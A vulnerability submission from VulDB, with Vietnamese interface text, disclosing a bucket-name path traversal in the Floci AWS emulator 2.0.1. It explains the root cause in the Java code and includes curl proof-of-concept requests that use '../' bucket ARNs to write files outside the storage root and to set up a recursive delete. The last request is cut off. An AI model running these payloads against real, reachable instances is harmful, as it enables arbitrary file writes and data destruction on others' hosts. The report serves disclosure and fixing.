Gửi #1035485: floci-io Floci (local AWS emulator) 2.0.1 (the released tag `2.0.1` carries the same `DeliveryStreamDescription`, `FirehoseService`, `S3Service` and `S3CfnProvisioner` code; reviewed at commit a5ab1672f9305299e3b7a32d67ce12b1d89f1199, the 2.0.1 head) Paththông tin

tiêu đềfloci-io Floci (local AWS emulator) 2.0.1 (the released tag `2.0.1` carries the same `DeliveryStreamDescription`, `FirehoseService`, `S3Service` and `S3CfnProvisioner` code; reviewed at commit a5ab1672f9305299e3b7a32d67ce12b1d89f1199, the 2.0.1 head) Path
Mô tảS3 bucket-name path traversal via the Floci Firehose and CloudFormation APIs allows arbitrary file write and recursive delete outside the storage root Vendor: floci-io Affected versions: 2.0.1 (the released tag `2.0.1` carries the same `DeliveryStreamDescription`, `FirehoseService`, `S3Service` and `S3CfnProvisioner` code; reviewed at commit a5ab1672f9305299e3b7a32d67ce12b1d89f1199, the 2.0.1 head) Vulnerability class: Path traversal — arbitrary file write and recursive directory delete outside the storage root (CWE-22) Preconditions: no credentials — request-auth enforcement is opt-in (`floci.protocols.enforce-auth`, default off; README: "Credentials can be any non-empty values unless you explicitly enable stricter service-specific auth checks"); the emulator listens on `x.x.x.x:4566` by default. Anyone who can reach a running instance is the effective caller. S3 bucket-name path traversal via the Floci Firehose and CloudFormation APIs allows arbitrary file write and recursive delete outside the storage root Data flow: caller `BucketARN` / `BucketName` → `S3Destination.bucketName()` / `ProvisionContext.stablePhysicalName` (no bucket-name grammar check) → `S3Service.resolveObjectPath` builds `dataRoot.resolve(ACCOUNT_STORAGE_ROOT).resolve(ownerId()).resolve(bucketName).normalize()` (containment checked only against that already-escaped bucketDir) → Firehose `s3Service.putObject` write / CloudFormation `s3Service.deleteBucket` recursive delete ### Affected interfaces | Interface | |---| | POST / with `X-Amz-Target: Firehose_20150804.CreateDeliveryStream` (body `S3DestinationConfiguration.BucketARN` / `ExtendedS3DestinationConfiguration.BucketARN`) + `Firehose_20150804.PutRecord` — arbitrary file write; written names always end in `.s3data` | | POST / CloudFormation Query protocol `Action=CreateStack` (template `AWS::S3::Bucket` `Properties.BucketName`) and `Action=DeleteStack` — bucket creation at an escaped path and recursive delete | Primary route detail: ``` POST / X-Amz-Target: Firehose_20150804.CreateDeliveryStream {"DeliveryStreamName": "<name>", "S3DestinationConfiguration": {"RoleARN": "arn:aws:iam::000000000000:role/x", "BucketARN": "arn:aws:s3:::../../../../<escaped-path>"}} ``` Floci builds the on-disk location of a bucket by concatenating the raw bucket name onto the storage root (`<persistent-path>/s3/.accounts/<account>/<bucketName>`) and only checks that the object key stays inside that already-concatenated directory. Because `S3Service.createBucket` deliberately does not validate the bucket-name format (in-code comment: "Floci doesn't otherwise validate bucket name format"), a bucket name containing `../` segments — undeliverable through the S3 REST API (the HTTP layer normalises the path) but deliverable through the AWS-JSON-1.1 bodies of Firehose and the CloudFormation Query API — moves the bucket directory outside the storage root. The follow-up write (Firehose delivery) and delete (CloudFormation stack deletion) then operate on that escaped path with attacker-controlled data. The bucket name is meant to name a bucket inside the emulator's storage root — the escape of that scope is the defect, not a capability the product offers. ### Root cause 1. **Source (Firehose)** — `services/firehose/model/DeliveryStreamDescription.java:422-425`: `S3Destination.bucketName()` returns everything after the last `:` of the caller-supplied `BucketARN`; there is no character or segment validation (`S3DestinationValidator` only checks enum/pattern members such as `CompressionFormat`/`FileExtension`). 2. **Source (CloudFormation)** — `services/cloudformation/provisioners/S3CfnProvisioner.java:73-75` calls `ctx.stablePhysicalName(props.BucketName, ...)`; `ProvisionContext.stablePhysicalName` (`.../ProvisionContext.java:113-117`) returns an explicitly supplied name unchanged (no sanitisation, no AWS bucket-name grammar check). 3. **Sink (write)** — `services/firehose/FirehoseService.java:979-990` (`resolveBucket` → `ensureBucket`) and `:938-941` (`s3Service.putObject(bucket, key, body, ...)`) pass the name to `S3Service.putObject`, which writes through `S3Service.resolveObjectPath` (`services/s3/S3Service.java:4473-4484`): ```java Path bucketDir = dataRoot.resolve(ACCOUNT_STORAGE_ROOT).resolve(ownerId()).resolve(bucketName).normalize(); ... Path resolved = bucketDir.resolve(safeKey + DATA_SUFFIX).normalize(); if (!resolved.startsWith(bucketDir)) { throw new AwsException("InvalidKey", ...); } ``` The containment test is performed against the **already-escaped** `bucketDir`, so `../` in `bucketName` walks the write out of `dataRoot` and the check still passes. 4. **Sink (delete)** — `S3CfnProvisioner.java:146-150` calls `s3Service.deleteBucket(physicalId)` on `DeleteStack`; `services/s3/S3Service.java:325-357` emptiness-checks the bucket and then runs `deleteDirectory(dataRoot.resolve(ACCOUNT_STORAGE_ROOT).resolve(ownerId()).resolve(bucketName))` — a recursive delete of the escaped directory. 5. **Why the name is not validated anywhere else** — `services/s3/S3Service.java:296-303` only rejects the literal name `accounts`, with the in-code comment "Floci doesn't otherwise validate bucket name format"; the S3 REST layer cannot reach the bug because the HTTP stack normalises `..` out of the request path, whereas the Firehose/CloudFormation bodies never pass through that layer. The missing guard is a bucket-name grammar check (or a storage-root containment check on `bucketDir`) at the single boundary where a bucket is created or looked up. Baseline: Floci 2.0.1, commit `a5ab1672f9305299e3b7a32d67ce12b1d89f1199`, self-hosted on the reporter's own host on `x.x.x.x:14580` with `floci.storage.mode=persistent` and a local storage root; Firehose flushing forced one-record-at-a-time with the documented emulator-only switch `floci.services.firehose.flush-record-count=1` (it changes when the buffered record is delivered, not where it is written). Unique nonce: `cv3flocifirehose1789408075`. **1. Control — a normal bucket name writes inside the storage root** ```sh $ curl -s -X POST http://127.0.0.1:14580/ -H 'X-Amz-Target: Firehose_20150804.CreateDeliveryStream' \ -d '{"DeliveryStreamName":"cv3-normal-cv3flocifirehose1789408075", "S3DestinationConfiguration":{"RoleARN":"arn:aws:iam::000000000000:role/x", "BucketARN":"arn:aws:s3:::cv3-normal-bucket-cv3flocifirehose1789408075", "BufferingHints":{"SizeInMBs":1,"IntervalInSeconds":60}}}' 200 {"DeliveryStreamARN":"arn:aws:firehose:us-east-1:000000000000:deliverystream/cv3-normal-..."} $ curl -s -X POST http://127.0.0.1:14580/ -H 'X-Amz-Target: Firehose_20150804.PutRecord' \ -d '{"DeliveryStreamName":"cv3-normal-cv3flocifirehose1789408075", "Record":{"Data":"Q1YzLUNPTlRST0wtY3YzZmxvY2lmaXJlaG9zZTE3ODk0MDgwNzU="}}' # base64("CV3-CONTROL-...") 200 {"RecordId":"a9133d5e-..."} ``` Flush log: `Flushed 1 records ... to s3://cv3-normal-bucket-...` → file inside the storage root: `floci-data/s3/.accounts/000000000000/cv3-normal-bucket-.../2026/09/14/17/...-1-....s3data` (39 bytes, content `CV3-CONTROL-cv3flocifirehose1789408075`). **2. Positive — an escaping bucket name writes outside the storage root** ```sh $ curl -s -X POST http://127.0.0.1:14580/ -H 'X-Amz-Target: Firehose_20150804.CreateDeliveryStream' \ -d '{"DeliveryStreamName":"cv3-escape-cv3flocifirehose1789408075", "S3DestinationConfiguration":{"RoleARN":"arn:aws:iam::000000000000:role/x", "BucketARN":"arn:aws:s3:::../../../../cv3-escape-out/planted", "BufferingHints":{"SizeInMBs":1,"IntervalInSeconds":60}}}' 200 ; server log: S3Service - Created bucket: ../../../../cv3-escape-out/planted in region: us-east-1 $ curl -s -X POST http://127.0.0.1:14580/ -H 'X-Amz-Target: Firehose_20150804.PutRecord' \ -d '{"DeliveryStreamName":"cv3-escape-cv3flocifirehose1789408075", "Record":{"Data":"Q1YzLUVTQ0FQRUQtY3YzZmxvY2lmaXJlaG9zZTE3ODk0MDgwNzU="}}' # base64("CV3-ESCAPED-...") 200 ``` Flush log: `Flushed 1 records from stream .../cv3-escape-... to s3://../../../../cv3-escape-out/planted/2026/09/14/17/...` → file outside the storage root: `<work>/cv3-escape-out/planted/2026/09/14/17/cv3-escape-...-1-....s3data` (39 bytes, content `CV3-ESCAPED-cv3flocifirehose1789408075`, confirmed by locating the file and reading its content back). **3. Positive — CloudFormation recursive delete outside the storage root** ```sh $ curl -s -X POST http://127.0.0.1:14580/ -d 'Action=CreateStack&Version=2010-05-15&StackName=cv3-traversal-stack' \ --data-urlencode 'TemplateBody={"Resources":{"Cv3Bucket":{"Type":"AWS::S3::Bucket","Properties":{"BucketName":"../../../../cv3-delete-target"}}}}' 200 CREATE_COMPLETE ; server log: Created bucket: ../../../../cv3-delete-target $ curl -s -X POST http://127.0.0.1:14580/ -d
Nguồn⚠️ https://github.com/floci-io/floci
Người dùng
 lucasg2g (UID 84737)
Đệ trình15/10/2026 07:31 (cách đây 24 ngày)
Kiểm duyệt08/11/2026 11:56 (24 days later)
Trạng tháiđược chấp nhận
Mục VulDB432813 [floci-io Floci đến 2.1.0 S3 Destination Configuration DeliveryStreamDescription.java S3Destination.bucketName BucketARN duyệt thư mục]
điểm20

Want to stay up to date on a daily basis?

Enable the mail alert feature now!